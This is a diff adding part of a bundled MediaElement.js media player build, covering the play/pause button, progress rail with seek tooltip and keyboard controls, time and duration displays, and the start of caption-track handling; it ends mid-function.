+		play.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'playpause-button ' + t.options.classPrefix + 'play';
+		play.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + playTitle + '" aria-label="' + pauseTitle + '" tabindex="0"></button>';
+		play.addEventListener('click', function () {
+			if (t.paused) {
+				t.play();
+			} else {
+				t.pause();
+			}
+		});
+
+		var playBtn = play.querySelector('button');
+		t.addControlElement(play, 'playpause');
+
+		function togglePlayPause(which) {
+			if ('play' === which) {
+				(0, _dom.removeClass)(play, t.options.classPrefix + 'play');
+				(0, _dom.removeClass)(play, t.options.classPrefix + 'replay');
+				(0, _dom.addClass)(play, t.options.classPrefix + 'pause');
+				playBtn.setAttribute('title', pauseTitle);
+				playBtn.setAttribute('aria-label', pauseTitle);
+			} else {
+
+				(0, _dom.removeClass)(play, t.options.classPrefix + 'pause');
+				(0, _dom.removeClass)(play, t.options.classPrefix + 'replay');
+				(0, _dom.addClass)(play, t.options.classPrefix + 'play');
+				playBtn.setAttribute('title', playTitle);
+				playBtn.setAttribute('aria-label', playTitle);
+			}
+		}
+
+		togglePlayPause('pse');
+
+		media.addEventListener('loadedmetadata', function () {
+			if (media.rendererName.indexOf('flash') === -1) {
+				togglePlayPause('pse');
+			}
+		});
+		media.addEventListener('play', function () {
+			togglePlayPause('play');
+		});
+		media.addEventListener('playing', function () {
+			togglePlayPause('play');
+		});
+		media.addEventListener('pause', function () {
+			togglePlayPause('pse');
+		});
+		media.addEventListener('ended', function () {
+			if (!player.options.loop) {
+				(0, _dom.removeClass)(play, t.options.classPrefix + 'pause');
+				(0, _dom.removeClass)(play, t.options.classPrefix + 'play');
+				(0, _dom.addClass)(play, t.options.classPrefix + 'replay');
+				playBtn.setAttribute('title', playTitle);
+				playBtn.setAttribute('aria-label', playTitle);
+			}
+		});
+	}
+});
+
+},{"16":16,"2":2,"26":26,"27":27,"5":5}],11:[function(_dereq_,module,exports){
+'use strict';
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _player = _dereq_(16);
+
+var _player2 = _interopRequireDefault(_player);
+
+var _i18n = _dereq_(5);
+
+var _i18n2 = _interopRequireDefault(_i18n);
+
+var _constants = _dereq_(25);
+
+var _time = _dereq_(30);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+Object.assign(_player.config, {
+	enableProgressTooltip: true,
+
+	useSmoothHover: true,
+
+	forceLive: false
+});
+
+Object.assign(_player2.default.prototype, {
+	buildprogress: function buildprogress(player, controls, layers, media) {
+
+		var lastKeyPressTime = 0,
+		    mouseIsDown = false,
+		    startedPaused = false;
+
+		var t = this,
+		    autoRewindInitial = player.options.autoRewind,
+		    tooltip = player.options.enableProgressTooltip ? '<span class="' + t.options.classPrefix + 'time-float">' + ('<span class="' + t.options.classPrefix + 'time-float-current">00:00</span>') + ('<span class="' + t.options.classPrefix + 'time-float-corner"></span>') + '</span>' : '',
+		    rail = _document2.default.createElement('div');
+
+		rail.className = t.options.classPrefix + 'time-rail';
+		rail.innerHTML = '<span class="' + t.options.classPrefix + 'time-total ' + t.options.classPrefix + 'time-slider">' + ('<span class="' + t.options.classPrefix + 'time-buffering"></span>') + ('<span class="' + t.options.classPrefix + 'time-loaded"></span>') + ('<span class="' + t.options.classPrefix + 'time-current"></span>') + ('<span class="' + t.options.classPrefix + 'time-hovered no-hover"></span>') + ('<span class="' + t.options.classPrefix + 'time-handle"><span class="' + t.options.classPrefix + 'time-handle-content"></span></span>') + ('' + tooltip) + '</span>';
+
+		t.addControlElement(rail, 'progress');
+
+		t.options.keyActions.push({
+			keys: [37, 227],
+			action: function action(player) {
+				if (!isNaN(player.duration) && player.duration > 0) {
+					if (player.isVideo) {
+						player.showControls();
+						player.startControlsTimer();
+					}
+
+					player.getElement(player.container).querySelector('.' + _player.config.classPrefix + 'time-total').focus();
+
+					var newTime = Math.max(player.currentTime - player.options.defaultSeekBackwardInterval(player), 0);
+					player.setCurrentTime(newTime);
+				}
+			}
+		}, {
+			keys: [39, 228],
+			action: function action(player) {
+
+				if (!isNaN(player.duration) && player.duration > 0) {
+					if (player.isVideo) {
+						player.showControls();
+						player.startControlsTimer();
+					}
+
+					player.getElement(player.container).querySelector('.' + _player.config.classPrefix + 'time-total').focus();
+
+					var newTime = Math.min(player.currentTime + player.options.defaultSeekForwardInterval(player), player.duration);
+					player.setCurrentTime(newTime);
+				}
+			}
+		});
+
+		t.rail = controls.querySelector('.' + t.options.classPrefix + 'time-rail');
+		t.total = controls.querySelector('.' + t.options.classPrefix + 'time-total');
+		t.loaded = controls.querySelector('.' + t.options.classPrefix + 'time-loaded');
+		t.current = controls.querySelector('.' + t.options.classPrefix + 'time-current');
+		t.handle = controls.querySelector('.' + t.options.classPrefix + 'time-handle');
+		t.timefloat = controls.querySelector('.' + t.options.classPrefix + 'time-float');
+		t.timefloatcurrent = controls.querySelector('.' + t.options.classPrefix + 'time-float-current');
+		t.slider = controls.querySelector('.' + t.options.classPrefix + 'time-slider');
+		t.hovered = controls.querySelector('.' + t.options.classPrefix + 'time-hovered');
+		t.buffer = controls.querySelector('.' + t.options.classPrefix + 'time-buffering');
+		t.newTime = 0;
+		t.forcedHandlePause = false;
+		t.setTransformStyle = function (element, value) {
+			element.style.transform = value;
+			element.style.webkitTransform = value;
+			element.style.MozTransform = value;
+			element.style.msTransform = value;
+			element.style.OTransform = value;
+		};
+
+		t.buffer.style.display = 'none';
+
+		var handleMouseMove = function handleMouseMove(e) {
+			var totalStyles = getComputedStyle(t.total),
+			    offsetStyles = (0, _dom.offset)(t.total),
+			    width = t.total.offsetWidth,
+			    transform = function () {
+				if (totalStyles.webkitTransform !== undefined) {
+					return 'webkitTransform';
+				} else if (totalStyles.mozTransform !== undefined) {
+					return 'mozTransform ';
+				} else if (totalStyles.oTransform !== undefined) {
+					return 'oTransform';
+				} else if (totalStyles.msTransform !== undefined) {
+					return 'msTransform';
+				} else {
+					return 'transform';
+				}
+			}(),
+			    cssMatrix = function () {
+				if ('WebKitCSSMatrix' in window) {
+					return 'WebKitCSSMatrix';
+				} else if ('MSCSSMatrix' in window) {
+					return 'MSCSSMatrix';
+				} else if ('CSSMatrix' in window) {
+					return 'CSSMatrix';
+				}
+			}();
+
+			var percentage = 0,
+			    leftPos = 0,
+			    pos = 0,
+			    x = void 0;
+
+			if (e.originalEvent && e.originalEvent.changedTouches) {
+				x = e.originalEvent.changedTouches[0].pageX;
+			} else if (e.changedTouches) {
+				x = e.changedTouches[0].pageX;
+			} else {
+				x = e.pageX;
+			}
+
+			if (t.getDuration()) {
+				if (x < offsetStyles.left) {
+					x = offsetStyles.left;
+				} else if (x > width + offsetStyles.left) {
+					x = width + offsetStyles.left;
+				}
+
+				pos = x - offsetStyles.left;
+				percentage = pos / width;
+				t.newTime = percentage <= 0.02 ? 0 : percentage * t.getDuration();
+
+				if (mouseIsDown && t.getCurrentTime() !== null && t.newTime.toFixed(4) !== t.getCurrentTime().toFixed(4)) {
+					t.setCurrentRailHandle(t.newTime);
+					t.updateCurrent(t.newTime);
+				}
+
+				if (!_constants.IS_IOS && !_constants.IS_ANDROID) {
+					if (pos < 0) {
+						pos = 0;
+					}
+					if (t.options.useSmoothHover && cssMatrix !== null && typeof window[cssMatrix] !== 'undefined') {
+						var matrix = new window[cssMatrix](getComputedStyle(t.handle)[transform]),
+						    handleLocation = matrix.m41,
+						    hoverScaleX = pos / parseFloat(getComputedStyle(t.total).width) - handleLocation / parseFloat(getComputedStyle(t.total).width);
+
+						t.hovered.style.left = handleLocation + 'px';
+						t.setTransformStyle(t.hovered, 'scaleX(' + hoverScaleX + ')');
+						t.hovered.setAttribute('pos', pos);
+
+						if (hoverScaleX >= 0) {
+							(0, _dom.removeClass)(t.hovered, 'negative');
+						} else {
+							(0, _dom.addClass)(t.hovered, 'negative');
+						}
+					}
+
+					if (t.timefloat) {
+						var half = t.timefloat.offsetWidth / 2,
+						    offsetContainer = mejs.Utils.offset(t.getElement(t.container)),
+						    tooltipStyles = getComputedStyle(t.timefloat);
+
+						if (x - offsetContainer.left < t.timefloat.offsetWidth) {
+							leftPos = half;
+						} else if (x - offsetContainer.left >= t.getElement(t.container).offsetWidth - half) {
+							leftPos = t.total.offsetWidth - half;
+						} else {
+							leftPos = pos;
+						}
+
+						if ((0, _dom.hasClass)(t.getElement(t.container), t.options.classPrefix + 'long-video')) {
+							leftPos += parseFloat(tooltipStyles.marginLeft) / 2 + t.timefloat.offsetWidth / 2;
+						}
+
+						t.timefloat.style.left = leftPos + 'px';
+						t.timefloatcurrent.innerHTML = (0, _time.secondsToTimeCode)(t.newTime, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat);
+						t.timefloat.style.display = 'block';
+					}
+				}
+			} else if (!_constants.IS_IOS && !_constants.IS_ANDROID && t.timefloat) {
+				leftPos = t.timefloat.offsetWidth + width >= t.getElement(t.container).offsetWidth ? t.timefloat.offsetWidth / 2 : 0;
+				t.timefloat.style.left = leftPos + 'px';
+				t.timefloat.style.left = leftPos + 'px';
+				t.timefloat.style.display = 'block';
+			}
+		},
+		    updateSlider = function updateSlider() {
+			var seconds = t.getCurrentTime(),
+			    timeSliderText = _i18n2.default.t('mejs.time-slider'),
+			    time = (0, _time.secondsToTimeCode)(seconds, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat),
+			    duration = t.getDuration();
+
+			t.slider.setAttribute('role', 'slider');
+			t.slider.tabIndex = 0;
+
+			if (media.paused) {
+				t.slider.setAttribute('aria-label', timeSliderText);
+				t.slider.setAttribute('aria-valuemin', 0);
+				t.slider.setAttribute('aria-valuemax', duration);
+				t.slider.setAttribute('aria-valuenow', seconds);
+				t.slider.setAttribute('aria-valuetext', time);
+			} else {
+				t.slider.removeAttribute('aria-label');
+				t.slider.removeAttribute('aria-valuemin');
+				t.slider.removeAttribute('aria-valuemax');
+				t.slider.removeAttribute('aria-valuenow');
+				t.slider.removeAttribute('aria-valuetext');
+			}
+		},
+		    restartPlayer = function restartPlayer() {
+			if (new Date() - lastKeyPressTime >= 1000) {
+				t.play();
+			}
+		},
+		    handleMouseup = function handleMouseup() {
+			if (mouseIsDown && t.getCurrentTime() !== null && t.newTime.toFixed(4) !== t.getCurrentTime().toFixed(4)) {
+				t.setCurrentTime(t.newTime);
+				t.setCurrentRail();
+				t.updateCurrent(t.newTime);
+			}
+			if (t.forcedHandlePause) {
+				t.slider.focus();
+				t.play();
+			}
+			t.forcedHandlePause = false;
+		};
+
+		t.slider.addEventListener('focus', function () {
+			player.options.autoRewind = false;
+		});
+		t.slider.addEventListener('blur', function () {
+			player.options.autoRewind = autoRewindInitial;
+		});
+		t.slider.addEventListener('keydown', function (e) {
+			if (new Date() - lastKeyPressTime >= 1000) {
+				startedPaused = t.paused;
+			}
+
+			if (t.options.keyActions.length) {
+
+				var keyCode = e.which || e.keyCode || 0,
+				    duration = t.getDuration(),
+				    seekForward = player.options.defaultSeekForwardInterval(media),
+				    seekBackward = player.options.defaultSeekBackwardInterval(media);
+
+				var seekTime = t.getCurrentTime();
+				var volume = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-slider');
+
+				if (keyCode === 38 || keyCode === 40) {
+					if (volume) {
+						volume.style.display = 'block';
+					}
+					if (t.isVideo) {
+						t.showControls();
+						t.startControlsTimer();
+					}
+
+					var newVolume = keyCode === 38 ? Math.min(t.volume + 0.1, 1) : Math.max(t.volume - 0.1, 0),
+					    mutePlayer = newVolume <= 0;
+					t.setVolume(newVolume);
+					t.setMuted(mutePlayer);
+					return;
+				} else {
+					if (volume) {
+						volume.style.display = 'none';
+					}
+				}
+
+				switch (keyCode) {
+					case 37:
+						if (t.getDuration() !== Infinity) {
+							seekTime -= seekBackward;
+						}
+						break;
+					case 39:
+						if (t.getDuration() !== Infinity) {
+							seekTime += seekForward;
+						}
+						break;
+					case 36:
+						seekTime = 0;
+						break;
+					case 35:
+						seekTime = duration;
+						break;
+					case 13:
+					case 32:
+						if (_constants.IS_FIREFOX) {
+							if (t.paused) {
+								t.play();
+							} else {
+								t.pause();
+							}
+						}
+						return;
+					default:
+						return;
+				}
+
+				seekTime = seekTime < 0 ? 0 : seekTime >= duration ? duration : Math.floor(seekTime);
+				lastKeyPressTime = new Date();
+				if (!startedPaused) {
+					player.pause();
+				}
+
+				if (seekTime < t.getDuration() && !startedPaused) {
+					setTimeout(restartPlayer, 1100);
+				}
+
+				t.setCurrentTime(seekTime);
+				player.showControls();
+
+				e.preventDefault();
+				e.stopPropagation();
+			}
+		});
+
+		var events = ['mousedown', 'touchstart'];
+
+		t.slider.addEventListener('dragstart', function () {
+			return false;
+		});
+
+		for (var i = 0, total = events.length; i < total; i++) {
+			t.slider.addEventListener(events[i], function (e) {
+				t.forcedHandlePause = false;
+				if (t.getDuration() !== Infinity) {
+					if (e.which === 1 || e.which === 0) {
+						if (!t.paused) {
+							t.pause();
+							t.forcedHandlePause = true;
+						}
+
+						mouseIsDown = true;
+						handleMouseMove(e);
+						var endEvents = ['mouseup', 'touchend'];
+
+						for (var j = 0, totalEvents = endEvents.length; j < totalEvents; j++) {
+							t.getElement(t.container).addEventListener(endEvents[j], function (event) {
+								var target = event.target;
+								if (target === t.slider || target.closest('.' + t.options.classPrefix + 'time-slider')) {
+									handleMouseMove(event);
+								}
+							});
+						}
+						t.globalBind('mouseup.dur touchend.dur', function () {
+							handleMouseup();
+							mouseIsDown = false;
+							if (t.timefloat) {
+								t.timefloat.style.display = 'none';
+							}
+						});
+					}
+				}
+			}, _constants.SUPPORT_PASSIVE_EVENT && events[i] === 'touchstart' ? { passive: true } : false);
+		}
+		t.slider.addEventListener('mouseenter', function (e) {
+			if (e.target === t.slider && t.getDuration() !== Infinity) {
+				t.getElement(t.container).addEventListener('mousemove', function (event) {
+					var target = event.target;
+					if (target === t.slider || target.closest('.' + t.options.classPrefix + 'time-slider')) {
+						handleMouseMove(event);
+					}
+				});
+				if (t.timefloat && !_constants.IS_IOS && !_constants.IS_ANDROID) {
+					t.timefloat.style.display = 'block';
+				}
+				if (t.hovered && !_constants.IS_IOS && !_constants.IS_ANDROID && t.options.useSmoothHover) {
+					(0, _dom.removeClass)(t.hovered, 'no-hover');
+				}
+			}
+		});
+		t.slider.addEventListener('mouseleave', function () {
+			if (t.getDuration() !== Infinity) {
+				if (!mouseIsDown) {
+					if (t.timefloat) {
+						t.timefloat.style.display = 'none';
+					}
+					if (t.hovered && t.options.useSmoothHover) {
+						(0, _dom.addClass)(t.hovered, 'no-hover');
+					}
+				}
+			}
+		});
+
+		t.broadcastCallback = function (e) {
+			var broadcast = controls.querySelector('.' + t.options.classPrefix + 'broadcast');
+			if (!t.options.forceLive && t.getDuration() !== Infinity) {
+				if (broadcast) {
+					t.slider.style.display = '';
+					broadcast.remove();
+				}
+
+				player.setProgressRail(e);
+				if (!t.forcedHandlePause) {
+					player.setCurrentRail(e);
+				}
+				updateSlider();
+			} else if (!broadcast || t.options.forceLive) {
+				var label = _document2.default.createElement('span');
+				label.className = t.options.classPrefix + 'broadcast';
+				label.innerText = _i18n2.default.t('mejs.live-broadcast');
+				t.slider.style.display = 'none';
+				t.rail.appendChild(label);
+			}
+		};
+
+		media.addEventListener('progress', t.broadcastCallback);
+		media.addEventListener('timeupdate', t.broadcastCallback);
+		media.addEventListener('play', function () {
+			t.buffer.style.display = 'none';
+		});
+		media.addEventListener('playing', function () {
+			t.buffer.style.display = 'none';
+		});
+		media.addEventListener('seeking', function () {
+			t.buffer.style.display = '';
+		});
+		media.addEventListener('seeked', function () {
+			t.buffer.style.display = 'none';
+		});
+		media.addEventListener('pause', function () {
+			t.buffer.style.display = 'none';
+		});
+		media.addEventListener('waiting', function () {
+			t.buffer.style.display = '';
+		});
+		media.addEventListener('loadeddata', function () {
+			t.buffer.style.display = '';
+		});
+		media.addEventListener('canplay', function () {
+			t.buffer.style.display = 'none';
+		});
+		media.addEventListener('error', function () {
+			t.buffer.style.display = 'none';
+		});
+
+		t.getElement(t.container).addEventListener('controlsresize', function (e) {
+			if (t.getDuration() !== Infinity) {
+				player.setProgressRail(e);
+				if (!t.forcedHandlePause) {
+					player.setCurrentRail(e);
+				}
+			}
+		});
+	},
+	cleanprogress: function cleanprogress(player, controls, layers, media) {
+		media.removeEventListener('progress', player.broadcastCallback);
+		media.removeEventListener('timeupdate', player.broadcastCallback);
+		if (player.rail) {
+			player.rail.remove();
+		}
+	},
+	setProgressRail: function setProgressRail(e) {
+		var t = this,
+		    target = e !== undefined ? e.detail.target || e.target : t.media;
+
+		var percent = null;
+
+		if (target && target.buffered && target.buffered.length > 0 && target.buffered.end && t.getDuration()) {
+			percent = target.buffered.end(target.buffered.length - 1) / t.getDuration();
+		} else if (target && target.bytesTotal !== undefined && target.bytesTotal > 0 && target.bufferedBytes !== undefined) {
+				percent = target.bufferedBytes / target.bytesTotal;
+			} else if (e && e.lengthComputable && e.total !== 0) {
+					percent = e.loaded / e.total;
+				}
+
+		if (percent !== null) {
+			percent = Math.min(1, Math.max(0, percent));
+
+			if (t.loaded) {
+				t.setTransformStyle(t.loaded, 'scaleX(' + percent + ')');
+			}
+		}
+	},
+	setCurrentRailHandle: function setCurrentRailHandle(fakeTime) {
+		var t = this;
+		t.setCurrentRailMain(t, fakeTime);
+	},
+	setCurrentRail: function setCurrentRail() {
+		var t = this;
+		t.setCurrentRailMain(t);
+	},
+	setCurrentRailMain: function setCurrentRailMain(t, fakeTime) {
+		if (t.getCurrentTime() !== undefined && t.getDuration()) {
+			var nTime = typeof fakeTime === 'undefined' ? t.getCurrentTime() : fakeTime;
+
+			if (t.total && t.handle) {
+				var tW = parseFloat(getComputedStyle(t.total).width);
+
+				var newWidth = Math.round(tW * nTime / t.getDuration()),
+				    handlePos = newWidth - Math.round(t.handle.offsetWidth / 2);
+
+				handlePos = handlePos < 0 ? 0 : handlePos;
+				t.setTransformStyle(t.current, 'scaleX(' + newWidth / tW + ')');
+				t.setTransformStyle(t.handle, 'translateX(' + handlePos + 'px)');
+
+				if (t.options.useSmoothHover && !(0, _dom.hasClass)(t.hovered, 'no-hover')) {
+					var pos = parseInt(t.hovered.getAttribute('pos'), 10);
+					pos = isNaN(pos) ? 0 : pos;
+
+					var hoverScaleX = pos / tW - handlePos / tW;
+
+					t.hovered.style.left = handlePos + 'px';
+					t.setTransformStyle(t.hovered, 'scaleX(' + hoverScaleX + ')');
+
+					if (hoverScaleX >= 0) {
+						(0, _dom.removeClass)(t.hovered, 'negative');
+					} else {
+						(0, _dom.addClass)(t.hovered, 'negative');
+					}
+				}
+			}
+		}
+	}
+});
+
+},{"16":16,"2":2,"25":25,"26":26,"30":30,"5":5}],12:[function(_dereq_,module,exports){
+'use strict';
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _player = _dereq_(16);
+
+var _player2 = _interopRequireDefault(_player);
+
+var _time = _dereq_(30);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+Object.assign(_player.config, {
+	duration: 0,
+
+	timeAndDurationSeparator: '<span> | </span>'
+});
+
+Object.assign(_player2.default.prototype, {
+	buildcurrent: function buildcurrent(player, controls, layers, media) {
+		var t = this,
+		    time = _document2.default.createElement('div');
+
+		time.className = t.options.classPrefix + 'time';
+		time.setAttribute('role', 'timer');
+		time.setAttribute('aria-live', 'off');
+		time.innerHTML = '<span class="' + t.options.classPrefix + 'currenttime">' + (0, _time.secondsToTimeCode)(0, player.options.alwaysShowHours, player.options.showTimecodeFrameCount, player.options.framesPerSecond, player.options.secondsDecimalLength, player.options.timeFormat) + '</span>';
+
+		t.addControlElement(time, 'current');
+		player.updateCurrent();
+		t.updateTimeCallback = function () {
+			if (t.controlsAreVisible) {
+				player.updateCurrent();
+			}
+		};
+		media.addEventListener('timeupdate', t.updateTimeCallback);
+	},
+	cleancurrent: function cleancurrent(player, controls, layers, media) {
+		media.removeEventListener('timeupdate', player.updateTimeCallback);
+	},
+	buildduration: function buildduration(player, controls, layers, media) {
+		var t = this,
+		    currTime = controls.lastChild.querySelector('.' + t.options.classPrefix + 'currenttime');
+
+		if (currTime) {
+			controls.querySelector('.' + t.options.classPrefix + 'time').innerHTML += t.options.timeAndDurationSeparator + '<span class="' + t.options.classPrefix + 'duration">' + ((0, _time.secondsToTimeCode)(t.options.duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat) + '</span>');
+		} else {
+			if (controls.querySelector('.' + t.options.classPrefix + 'currenttime')) {
+				(0, _dom.addClass)(controls.querySelector('.' + t.options.classPrefix + 'currenttime').parentNode, t.options.classPrefix + 'currenttime-container');
+			}
+
+			var duration = _document2.default.createElement('div');
+			duration.className = t.options.classPrefix + 'time ' + t.options.classPrefix + 'duration-container';
+			duration.innerHTML = '<span class="' + t.options.classPrefix + 'duration">' + ((0, _time.secondsToTimeCode)(t.options.duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat) + '</span>');
+
+			t.addControlElement(duration, 'duration');
+		}
+
+		t.updateDurationCallback = function () {
+			if (t.controlsAreVisible) {
+				player.updateDuration();
+			}
+		};
+
+		media.addEventListener('timeupdate', t.updateDurationCallback);
+	},
+	cleanduration: function cleanduration(player, controls, layers, media) {
+		media.removeEventListener('timeupdate', player.updateDurationCallback);
+	},
+	updateCurrent: function updateCurrent() {
+		var t = this;
+
+		var currentTime = t.getCurrentTime();
+
+		if (isNaN(currentTime)) {
+			currentTime = 0;
+		}
+
+		var timecode = (0, _time.secondsToTimeCode)(currentTime, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat);
+
+		if (timecode.length > 5) {
+			(0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'long-video');
+		} else {
+			(0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'long-video');
+		}
+
+		if (t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'currenttime')) {
+			t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'currenttime').innerText = timecode;
+		}
+	},
+	updateDuration: function updateDuration() {
+		var t = this;
+
+		var duration = t.getDuration();
+
+		if (isNaN(duration) || duration === Infinity || duration < 0) {
+			t.media.duration = t.options.duration = duration = 0;
+		}
+
+		if (t.options.duration > 0) {
+			duration = t.options.duration;
+		}
+
+		var timecode = (0, _time.secondsToTimeCode)(duration, t.options.alwaysShowHours, t.options.showTimecodeFrameCount, t.options.framesPerSecond, t.options.secondsDecimalLength, t.options.timeFormat);
+
+		if (timecode.length > 5) {
+			(0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'long-video');
+		} else {
+			(0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'long-video');
+		}
+
+		if (t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'duration') && duration > 0) {
+			t.getElement(t.controls).querySelector('.' + t.options.classPrefix + 'duration').innerHTML = timecode;
+		}
+	}
+});
+
+},{"16":16,"2":2,"26":26,"30":30}],13:[function(_dereq_,module,exports){
+'use strict';
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _i18n = _dereq_(5);
+
+var _i18n2 = _interopRequireDefault(_i18n);
+
+var _player = _dereq_(16);
+
+var _player2 = _interopRequireDefault(_player);
+
+var _time = _dereq_(30);
+
+var _general = _dereq_(27);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+Object.assign(_player.config, {
+	startLanguage: '',
+
+	tracksText: null,
+
+	chaptersText: null,
+
+	tracksAriaLive: false,
+
+	hideCaptionsButtonWhenEmpty: true,
+
+	toggleCaptionsButtonWhenOnlyOne: false,
+
+	slidesSelector: ''
+});
+
+Object.assign(_player2.default.prototype, {
+	hasChapters: false,
+
+	buildtracks: function buildtracks(player, controls, layers, media) {
+
+		this.findTracks();
+
+		if (!player.tracks.length && (!player.trackFiles || !player.trackFiles.length === 0)) {
+			return;
+		}
+
+		var t = this,
+		    attr = t.options.tracksAriaLive ? ' role="log" aria-live="assertive" aria-atomic="false"' : '',
+		    tracksTitle = (0, _general.isString)(t.options.tracksText) ? t.options.tracksText : _i18n2.default.t('mejs.captions-subtitles'),
+		    chaptersTitle = (0, _general.isString)(t.options.chaptersText) ? t.options.chaptersText : _i18n2.default.t('mejs.captions-chapters'),
+		    total = player.trackFiles === null ? player.tracks.length : player.trackFiles.length;
+
+		if (t.domNode.textTracks) {
+			for (var i = t.domNode.textTracks.length - 1; i >= 0; i--) {
+				t.domNode.textTracks[i].mode = 'hidden';
+			}
+		}
+
+		t.cleartracks(player);
+
+		player.captions = _document2.default.createElement('div');
+		player.captions.className = t.options.classPrefix + 'captions-layer ' + t.options.classPrefix + 'layer';
+		player.captions.innerHTML = '<div class="' + t.options.classPrefix + 'captions-position ' + t.options.classPrefix + 'captions-position-hover"' + attr + '>' + ('<span class="' + t.options.classPrefix + 'captions-text"></span>') + '</div>';
+		player.captions.style.display = 'none';
+		layers.insertBefore(player.captions, layers.firstChild);
+
+		player.captionsText = player.captions.querySelector('.' + t.options.classPrefix + 'captions-text');
+
+		player.captionsButton = _document2.default.createElement('div');
+		player.captionsButton.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'captions-button';
+		player.captionsButton.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + tracksTitle + '" aria-label="' + tracksTitle + '" tabindex="0"></button>' + ('<div class="' + t.options.classPrefix + 'captions-selector ' + t.options.classPrefix + 'offscreen">') + ('<ul class="' + t.options.classPrefix + 'captions-selector-list">') + ('<li class="' + t.options.classPrefix + 'captions-selector-list-item">') + ('<input type="radio" class="' + t.options.classPrefix + 'captions-selector-input" ') + ('name="' + player.id + '_captions" id="' + player.id + '_captions_none" ') + 'value="none" checked disabled>' + ('<label class="' + t.options.classPrefix + 'captions-selector-label ') + (t.options.classPrefix + 'captions-selected" ') + ('for="' + player.id + '_captions_none">' + _i18n2.default.t('mejs.none') + '</label>') + '</li>' + '</ul>' + '</div>';
+
+		t.addControlElement(player.captionsButton, 'tracks');
+
+		player.captionsButton.querySelector('.' + t.options.classPrefix + 'captions-selector-input').disabled = false;
+
+		player.chaptersButton = _document2.default.createElement('div');
+		player.chaptersButton.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'chapters-button';
+		player.chaptersButton.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + chaptersTitle + '" aria-label="' + chaptersTitle + '" tabindex="0"></button>' + ('<div class="' + t.options.classPrefix + 'chapters-selector ' + t.options.classPrefix + 'offscreen">') + ('<ul class="' + t.options.classPrefix + 'chapters-selector-list"></ul>') + '</div>';
+
+		var subtitleCount = 0;
+
+		for (var _i = 0; _i < total; _i++) {
+			var kind = player.tracks[_i].kind,
+			    src = player.tracks[_i].src;
+			if (src.trim()) {
+				if (kind === 'subtitles' || kind === 'captions') {
+					subtitleCount++;
+				} else if (kind === 'chapters' && !controls.querySelector('.' + t.options.classPrefix + 'chapter-selector')) {
+					player.captionsButton.parentNode.insertBefore(player.chaptersButton, player.captionsButton);
+				}
+			}
+		}
+
+		player.trackToLoad = -1;
+		player.selectedTrack = null;
+		player.isLoadingTrack = false;
+
+		for (var _i2 = 0; _i2 < total; _i2++) {
+			var _kind = player.tracks[_i2].kind;
+			if (player.tracks[_i2].src.trim() && (_kind === 'subtitles' || _kind === 'captions')) {
+				player.addTrackButton(player.tracks[_i2].trackId, player.tracks[_i2].srclang, player.tracks[_i2].label);
+			}
+		}
+
+		player.loadNextTrack();
+
+		var inEvents = ['mouseenter', 'focusin'],
+		    outEvents = ['mouseleave', 'focusout'];
+
+		if (t.options.toggleCaptionsButtonWhenOnlyOne && subtitleCount === 1) {
+			player.captionsButton.addEventListener('click', function (e) {
+				var trackId = 'none';
+				if (player.selectedTrack === null) {
+					trackId = player.tracks[0].trackId;
+				}
+				var keyboard = e.keyCode || e.which;
+				player.setTrack(trackId, typeof keyboard !== 'undefined');
+			});
+		} else {
+			var labels = player.captionsButton.querySelectorAll('.' + t.options.classPrefix + 'captions-selector-label'),
+			    captions = player.captionsButton.querySelectorAll('input[type=radio]');
+
+			for (var _i3 = 0, _total = inEvents.length; _i3 < _total; _i3++) {
+				player.captionsButton.addEventListener(inEvents[_i3], function () {
+					(0, _dom.removeClass)(this.querySelector('.' + t.options.classPrefix + 'captions-selector'), t.options.classPrefix + 'offscreen');
+				});
+			}
+
+			for (var _i4 = 0, _total2 = outEvents.length; _i4 < _total2; _i4++) {
+				player.captionsButton.addEventListener(outEvents[_i4], function () {
+					(0, _dom.addClass)(this.querySelector('.' + t.options.classPrefix + 'captions-selector'), t.options.classPrefix + 'offscreen');
+				});
+			}
+
+			for (var _i5 = 0, _total3 = captions.length; _i5 < _total3; _i5++) {
+				captions[_i5].addEventListener('click', function (e) {
+					var keyboard = e.keyCode || e.which;
+					player.setTrack(this.value, typeof keyboard !== 'undefined');
+				});
+			}
+
+			for (var _i6 = 0, _total4 = labels.length; _i6 < _total4; _i6++) {
+				labels[_i6].addEventListener('click', function (e) {
+					var radio = (0, _dom.siblings)(this, function (el) {
+						return el.tagName === 'INPUT';
+					})[0],
+					    event = (0, _general.createEvent)('click', radio);
+					radio.dispatchEvent(event);
